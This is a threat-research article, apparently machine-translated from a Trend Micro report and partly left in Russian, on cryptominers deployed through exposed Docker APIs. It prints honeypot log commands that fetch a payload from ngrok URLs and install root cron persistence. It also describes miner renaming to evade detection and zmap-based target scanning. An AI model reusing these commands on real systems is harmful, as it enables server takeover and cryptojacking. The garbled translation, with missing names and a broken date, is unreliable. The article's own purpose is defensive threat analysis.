
Nous avons analysé les données collectées à l'aide de conteneurs honeypot, que nous avons créés pour suivre les menaces. Et nous avons détecté une activité importante de la part de mineurs de crypto-monnaie indésirables ou non autorisés déployés en tant que conteneurs malveillants à l'aide d'une image publiée par la communauté sur Docker Hub. L’image est utilisée dans le cadre d’un service fournissant des mineurs de crypto-monnaie malveillants.
De plus, des programmes permettant de travailler avec des réseaux sont installés pour pénétrer dans les conteneurs et applications voisins ouverts.
Nous laissons nos honeypots tels quels, c'est-à-dire avec les paramètres par défaut, sans aucune mesure de sécurité ni installation ultérieure de logiciels supplémentaires. Veuillez noter que Docker propose des recommandations pour la configuration initiale afin d'éviter les erreurs et les vulnérabilités simples. Mais les pots de miel utilisés sont des conteneurs, conçus pour détecter les attaques visant la plateforme de conteneurisation, et non les applications contenues dans les conteneurs.
L’activité malveillante détectée est également remarquable car elle ne nécessite pas de vulnérabilités et est également indépendante de la version de Docker. Trouver une image de conteneur mal configurée, et donc ouverte, est tout ce dont les attaquants ont besoin pour infecter de nombreux serveurs ouverts.
L'API Docker non fermée permet à l'utilisateur d'effectuer un large éventail de tâches. , notamment l'obtention d'une liste des conteneurs en cours d'exécution, l'obtention des journaux d'un conteneur spécifique, le démarrage, l'arrêt (y compris forcé) et même la création d'un nouveau conteneur à partir d'une image spécifique avec des paramètres spécifiés.

Sur la gauche se trouve la méthode de diffusion des logiciels malveillants. À droite se trouve l’environnement de l’attaquant, qui permet le déploiement d’images à distance.

Répartition par pays de 3762 API Docker ouvertes. Basé sur la recherche Shodan du 12.02.2019/XNUMX/XNUMX
Options de chaîne d’attaque et de charge utile
Les activités malveillantes n’ont pas été détectées uniquement à l’aide de pots de miel. Les données de Shodan montrent que le nombre d'API Docker exposées (voir deuxième graphique) a augmenté depuis que nous avons enquêté sur un conteneur mal configuré utilisé comme pont pour déployer le logiciel d'extraction de crypto-monnaie Monero. En octobre de l'année dernière (2018, données actuelles environ. traducteur), il n'y avait que 856 API ouvertes.
Un examen des journaux du pot de miel a montré que l'utilisation des images de conteneurs était également associée à l'utilisation de , un outil permettant d'établir des connexions sécurisées ou de transférer le trafic depuis des points accessibles au public vers des adresses ou des ressources spécifiées (par exemple localhost). Cela permet aux attaquants de créer dynamiquement des URL lors de la transmission d'une charge utile à un serveur ouvert. Vous trouverez ci-dessous des exemples de code issus des journaux montrant un abus du service ngrok :
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Comme vous pouvez le constater, les fichiers téléchargés sont téléchargés à partir d'URL en constante évolution. Ces URL ont une date d'expiration courte, les charges utiles ne peuvent donc pas être téléchargées après la date d'expiration.
Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.
Le script dropper définit deux variables, qui sont ensuite utilisées pour déployer le mineur de crypto-monnaie. La variable HOST contient l'URL où se trouvent les fichiers malveillants, et la variable RIP est le nom de fichier (en fait, le hachage) du mineur à déployer. La variable HOST change à chaque fois que la variable de hachage change. Le script tente également de vérifier qu’aucun autre mineur de cryptomonnaie n’est exécuté sur le serveur attaqué.

Exemples de variables HOST et RIP, ainsi qu'un extrait de code utilisé pour vérifier qu'aucun autre mineur n'est en cours d'exécution
Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.
Le script de recherche possède également des fonctionnalités. Il fonctionne avec le même service URL pour déployer les outils nécessaires. Parmi eux se trouve le binaire zmap, qui est utilisé pour analyser les réseaux et obtenir une liste des ports ouverts. Le script charge également un autre binaire utilisé pour interagir avec les services trouvés et recevoir des bannières de leur part pour déterminer des informations supplémentaires sur le service trouvé (par exemple, sa version).
Le script prédéfinit également certaines plages réseau à analyser, mais cela dépend de la version du script. Il définit également les ports cibles des services (dans ce cas, Docker) avant d'exécuter l'analyse.
Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, , client Docker 1.16 et Apache CouchDB. Si le serveur analysé correspond à l'un d'entre eux, il est enregistré dans un fichier texte, que les attaquants peuvent ensuite utiliser pour une analyse et un piratage ultérieurs. Ces fichiers texte sont téléchargés sur les serveurs des attaquants via des liens dynamiques. Autrement dit, une URL distincte est utilisée pour chaque fichier, ce qui signifie que l'accès ultérieur est difficile.
Le vecteur d'attaque est une image Docker, comme on peut le voir dans les deux morceaux de code suivants.

En haut se trouve le changement de nom en service légitime, et en bas se trouve la manière dont zmap est utilisé pour analyser les réseaux.

En haut se trouvent des plages de réseau prédéfinies, en bas se trouvent des ports spécifiques pour la recherche de services, dont Docker

La capture d'écran montre que l'image du curl alpin a été téléchargée plus de 10 millions de fois.
На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать . Comme vous pouvez le voir sur l'image précédente, cette image a déjà été téléchargée plus de 10 millions de fois. Un grand nombre de téléchargements peut nécessiter l'utilisation de cette image comme point d'entrée ; cette image a été mise à jour il y a plus de six mois ; les utilisateurs n'ont pas téléchargé d'autres images de ce référentiel aussi souvent. Dans Docker - un ensemble d'instructions utilisé pour configurer un conteneur pour l'exécuter. Si les paramètres du point d'entrée sont incorrects (par exemple, le conteneur reste ouvert depuis Internet), l'image peut être utilisée comme vecteur d'attaque. Les attaquants peuvent l’utiliser pour livrer une charge utile s’ils trouvent un conteneur mal configuré ou ouvert non pris en charge.
Il est important de noter que cette image (alpine-curl) en elle-même n'est pas malveillante, mais comme vous pouvez le voir ci-dessus, elle peut être utilisée pour exécuter des fonctions malveillantes. Des images Docker similaires peuvent également être utilisées pour effectuer des activités malveillantes. Nous avons contacté Docker et travaillé avec eux sur ce problème.
Recommandations
reste pour de nombreuses entreprises, notamment celles mettant en œuvre , axé sur un développement et une livraison rapides. Tout est aggravé par la nécessité de respecter les règles d'audit et de contrôle, la nécessité de contrôler la confidentialité des données, ainsi que les énormes dommages résultant de leur non-respect. L'intégration de l'automatisation de la sécurité dans le cycle de vie du développement vous aide non seulement à détecter les failles de sécurité qui autrement pourraient passer inaperçues, mais également à réduire la charge de travail inutile, comme l'exécution de versions logicielles supplémentaires pour chaque vulnérabilité découverte ou mauvaise configuration après le déploiement d'une application.
L’incident évoqué dans cet article souligne la nécessité de prendre en compte la sécurité dès le départ, avec notamment les recommandations suivantes :
- Pour les administrateurs système et les développeurs : vérifiez toujours les paramètres de votre API pour vous assurer que tout est configuré pour accepter uniquement les demandes d'un serveur ou d'un réseau interne spécifique.
- Suivez le principe des moindres droits : assurez-vous que les images des conteneurs sont signées et vérifiées, limitez l'accès aux composants critiques (service de lancement de conteneurs) et ajoutez le cryptage aux connexions réseau.
- Suivre et activer les mécanismes de sécurité, par ex. et intégré .
- Utilisez l'analyse automatisée des environnements d'exécution et des images pour obtenir des informations supplémentaires sur les processus exécutés dans le conteneur (par exemple, pour détecter l'usurpation d'identité ou rechercher des vulnérabilités). Le contrôle des applications et la surveillance de l'intégrité aident à suivre les modifications anormales apportées aux serveurs, aux fichiers et aux zones du système.
Trendmicro aide les équipes DevOps à créer en toute sécurité, à déployer rapidement et à lancer n'importe où. Tendance Micro Fournit une sécurité puissante, rationalisée et automatisée dans l'ensemble du pipeline DevOps d'une organisation et fournit de multiples défenses contre les menaces. pour protéger les charges de travail physiques, virtuelles et cloud lors de l'exécution. Il ajoute également la sécurité des conteneurs avec и , qui analyse les images des conteneurs Docker à la recherche de logiciels malveillants et de vulnérabilités à tout moment du pipeline de développement afin de prévenir les menaces avant leur déploiement.
Signes de compromis
Hachages associés :
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Sur Les orateurs en exercice montrent quels réglages doivent être effectués en premier afin de minimiser la probabilité ou d'éviter complètement l'apparition de la situation décrite ci-dessus. Et du 19 au 21 août lors d'un cours intensif en ligne Vous pouvez discuter de ces problèmes de sécurité et d’autres problèmes similaires avec des collègues et des enseignants en exercice lors d’une table ronde, où chacun peut s’exprimer et écouter les souffrances et les réussites de collègues expérimentés.
Source: habr.com
